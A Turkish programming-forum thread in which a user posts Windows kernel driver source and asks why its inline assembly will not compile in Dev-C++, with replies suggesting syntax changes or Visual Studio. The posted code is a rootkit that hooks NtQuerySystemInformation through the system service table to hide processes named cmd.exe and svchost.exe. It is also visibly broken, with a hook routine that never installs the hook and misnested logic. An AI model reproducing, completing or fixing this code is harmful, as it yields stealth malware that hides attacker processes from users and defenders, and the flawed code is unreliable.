Şimdi Ara

C++ yardım lütfen

Daha Fazla
Bu Konudaki Kullanıcılar: Daha Az
2 Misafir - 2 Masaüstü
5 sn
5
Cevap
0
Favori
465
Tıklama
Daha Fazla
İstatistik
  • Konu İstatistikleri Yükleniyor
0 oy
Öne Çıkar
Sayfa: 1
Giriş
Mesaj
  • #include <ntddk.h>

    typedef struct _KSERVICE_DESCRIPTOR_TABLE
    {
    PULONG ServiceTableBase;
    PULONG ServiceCounterTableBase;
    ULONG NumberOfServices;
    PUCHAR ParamTableBase;
    }KSERVICE_DESCRIPTOR_TABLE,*PKSERVICE_DESCRIPTOR_TABLE;

    typedef struct _SYSTEM_PROCESS_INFO
    {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    LARGE_INTEGER Reserved[3];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ImageName;
    ULONG BasePriority;
    HANDLE ProcessId;
    HANDLE InheritedFromProcessId;
    }SYSTEM_PROCESS_INFO,*PSYSTEM_PROCESS_INFO;

    typedef NTSTATUS (*pNtQuerySystemInformation)(ULONG,PVOID,ULONG,PULONG);

    extern PKSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;

    NTSTATUS ZwQuerySystemInformation(ULONG,PVOID,ULONG,PULONG);

    pNtQuerySystemInformation fnNtQuerySystemInformation;

    PVOID Hook(ULONG ServiceNumber,PVOID Hook)
    {
    PVOID OrigAddress;

    OrigAddress=(PVOID)KeServiceDescriptorTable->ServiceTableBase[ServiceNumber];

    __asm
    {
    mov eax,cr0
    or eax,0x10000
    mov cr0,eax
    sti
    }

    return OrigAddress;
    }

    NTSTATUS HookNtQuerySystemInformation(ULONG InfoClass,PVOID Buffer,ULONG Length,PULONG ReturnLength)
    {
    PSYSTEM_PROCESS_INFO pCurr,pNext;
    NTSTATUS ret;

    if(InfoClass!=5)
    {
    return fnNtQuerySystemInformation(InfoClass,Buffer,Length,ReturnLength);
    }

    ret=fnNtQuerySystemInformation(InfoClass,Buffer,Length,ReturnLength);

    if(NT_SUCCESS(ret))
    {
    pCurr=NULL;
    pNext=Buffer;

    while(pNext->NextEntryOffset!=0)
    {
    pCurr=pNext;
    pNext=(PSYSTEM_PROCESS_INFO)((PUCHAR)pCurr+pCurr->NextEntryOffset);

    if(!wcscmp(L"cmd.exe",pNext->ImageName.Buffer))
    {
    if(pNext->NextEntryOffset==0)
    {
    pCurr->NextEntryOffset=0;
    }
    if(!wcscmp(L"svchost.exe",pNext->ImageName.Buffer))
    {
    if(pNext->NextEntryOffset==0)
    {
    pCurr->NextEntryOffset=0;
    }
    else
    {
    pCurr->NextEntryOffset+=pNext->NextEntryOffset;
    }

    pNext=pCurr;
    }
    }
    }

    return ret;

    return fnNtQuerySystemInformation(InfoClass,Buffer,Length,ReturnLength);
    }

    void Unload(PDRIVER_OBJECT pDriverObject)
    {
    DbgPrint("Unload routine called.\n");
    Hook(*(PULONG)((PUCHAR)ZwQuerySystemInformation+1),fnNtQuerySystemInformation);
    }

    NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath)
    {
    pDriverObject->DriverUnload=Unload;

    fnNtQuerySystemInformation=Hook(*(PULONG)((PUCHAR)ZwQuerySystemInformation+1),HookNtQuerySystemInformation);

    DbgPrint("NtQuerySystemInformation address: %#x\n",fnNtQuerySystemInformation);
    return STATUS_SUCCESS;
    }




    Arkadaşlar yukarıdaki kodu dev c++ ile derlerken

    {
    mov eax,cr0
    or eax,0x10000
    mov cr0,eax
    sti
    }

    bu satırlarda hata veriyor sorun ne olabilir ?



    < Bu mesaj bu kişi tarafından değiştirildi lureg -- 25 Mayıs 2014; 22:59:05 >







  • dev c++'ta __asm yerine asm kullan ayrıca dev-c++ asm içindeki kayıtçılara % işaretimi ne konuluyordu biraz araştır ;)

    < Bu ileti mini sürüm kullanılarak atıldı >
  • lavara123 kullanıcısına yanıt
    Sağolasın hocam ama fayda etmedi acaba visual studio'mu kullansam dev c++ bu sorunu yapıyor olabilir mi acaba
  • visual studio'da hata vermemesi lazım tabi kayıtçılar düzgün kullanıldıysa

    < Bu ileti mini sürüm kullanılarak atıldı >
  • C++ DA yardımcı olabilecek biri olursa çok memnun olurum. Şimdiden teşekkür ederim.
  • 
Sayfa: 1
- x
Bildirim
mesajınız kopyalandı (ctrl+v) yapıştırmak istediğiniz yere yapıştırabilirsiniz.